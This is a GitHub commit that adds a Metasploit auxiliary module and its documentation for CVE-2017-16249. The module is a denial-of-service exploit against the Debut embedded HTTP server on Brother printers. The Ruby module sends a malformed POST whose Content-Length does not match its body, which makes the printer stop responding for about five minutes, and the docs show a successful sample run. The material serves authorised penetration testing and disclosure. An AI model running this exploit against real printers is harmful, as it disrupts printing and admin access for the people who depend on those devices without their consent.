Skip to content

Commit 67c2119

Browse files
committed
oh brother
1 parent 7254130 commit 67c2119

File tree

2 files changed

+108
-0
lines changed

2 files changed

+108
-0
lines changed
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
## Vulnerable Application
2+
3+
Version <= 1.20 of the Debut embedded httpd web server are vulnerable, which are found on Brother printers.
4+
This module was successfully tested against a Brother HL-L2380DW series.
5+
6+
An nmap version scan of the vulnerable service should look similar to:
7+
`80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin)`.
8+
9+
## Verification Steps
10+
11+
1. Start msfconsole
12+
2. Do: ```use auxiliary/dos/http/brother_debut_dos```
13+
3. Do: ```set rhost [ip]```
14+
4. Do: ```run```
15+
5. You should see Success, and manual attempts to browse the web interface don't load.
16+
17+
## Scenarios
18+
19+
### Brother HL-L2380DW with Debut embedded 1.20
20+
21+
```
22+
[*] Processing brother.rb for ERB directives.
23+
resource (brother.rb)> use auxiliary/dos/http/brother_debut_dos
24+
resource (brother.rb)> set rhost 192.168.2.126
25+
rhost => 192.168.2.126
26+
resource (brother.rb)> exploit
27+
[*] Sending malformed POST request at 2017-12-29 13:46:34. Server will recover about 2017-12-29 13:51:34
28+
[+] 192.168.2.126:80 - Connection Refused: Success!
29+
[*] Auxiliary module execution completed
30+
```
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Dos
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'Brother Debut http Denial Of Service',
13+
'Description' => %q{
14+
The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial
15+
of Service (DoS) condition via a crafted HTTP request. The printer will be
16+
unresponsive from HTTP and printing requests for ~300 seconds. After which, the
17+
printer will start responding again.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'z00n', # vulnerability disclosure
23+
'h00die' # metasploit module
24+
],
25+
'References' => [
26+
[ 'CVE', '2017-16249' ],
27+
[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211']
28+
],
29+
'DisclosureDate' => 'Nov 02 2017'))
30+
end
31+
32+
def is_alive?
33+
res = send_request_raw({
34+
'method' => 'GET',
35+
'uri' => '/',
36+
},10)
37+
38+
return !res.nil?
39+
end
40+
41+
def run
42+
43+
begin
44+
time = Time.new
45+
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}. Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
46+
# This request will set DoS the server for ~300 seconds
47+
send_request_cgi({
48+
'method' => 'POST',
49+
'uri' => '/',
50+
'data' => 'asdasdasdasdasdasdasd',
51+
'headers' => {
52+
# These are kept here since they were in the original exploit, however they are not required
53+
#'Host' => 'asdasdasd',
54+
#'User-Agent' => 'asdasdasd',
55+
#'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
56+
#'Accept-Language' => 'en-US,en;q=0.5',
57+
#'Referer' => 'asdasdasdasd',
58+
#'Connection' => 'close',
59+
#'Upgrade-Insecure-Requests' => 1,
60+
#'Content-Type' => 'application/x-www-form-urlencoded',
61+
'Content-Length' => 42
62+
}
63+
})
64+
65+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
66+
print_error("Couldn't connect to #{peer}")
67+
return
68+
end
69+
70+
# Check to see if it worked or not
71+
if is_alive?
72+
print_error("#{rhost}:#{rport} - Server is still alive")
73+
else
74+
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
75+
end
76+
77+
end
78+
end

0 commit comments

Comments
 (0)